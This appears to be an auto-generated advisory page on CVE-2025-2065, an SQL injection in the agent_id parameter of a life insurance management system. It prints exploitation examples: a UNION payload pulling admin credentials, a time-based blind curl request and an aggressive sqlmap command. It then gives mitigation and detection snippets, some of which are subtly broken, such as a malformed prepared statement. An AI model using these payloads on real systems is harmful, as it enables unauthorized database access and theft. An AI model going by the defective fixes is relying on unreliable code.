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How CVE-2025-2065 Works
This vulnerability exists in Life Insurance Management System 1.0 due to improper sanitization of the `agent_id` parameter in /editAgent.php. Attackers can inject malicious SQL queries through this parameter, manipulating database operations. The application fails to validate user-supplied input, allowing unauthorized database access. Remote exploitation is possible without authentication, enabling data theft, modification, or deletion. The flaw stems from direct concatenation of user input into SQL statements. Attackers craft payloads like `’ OR 1=1 –` to bypass authentication or extract sensitive data. The CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N) confirms its network-based exploitability with low attack complexity.
DailyCVE Form
Platform: Life Insurance Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Exploitation
1. Payload Example:
' UNION SELECT username, password FROM admins --
2. Exploit via cURL:
curl -X POST "http://target.com/editAgent.php" -d "agent_id=1' AND (SELECT 1 FROM (SELECT SLEEP(5))a)--"
3. Automated Testing with SQLmap:
sqlmap -u "http://target.com/editAgent.php?agent_id=1" --risk=3 --level=5
Mitigation
1. Input Sanitization:
$agent_id = mysqli_real_escape_string($conn, $_POST['agent_id']);
2. Prepared Statements:
$stmt = $conn->prepare("SELECT FROM agents WHERE id = ?");
$stmt->bind_param("i", $agent_id);
3. WAF Rules:
location ~ editAgent.php {
deny all;
}
Detection
1. Log Monitoring:
grep -E "('|--|\/)" /var/log/apache2/access.log
2. IDS Signature:
alert http any any -> any any (msg:"SQLi Attempt"; content:"agent_id="; pcre:"/(\x27|%27)/"; sid:10005;)
Analytics
- Attack Surface: Remote, unauthenticated
- Impact: Data confidentiality, integrity loss
- Patch Status: Unavailable as of 05/14/2025
References
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
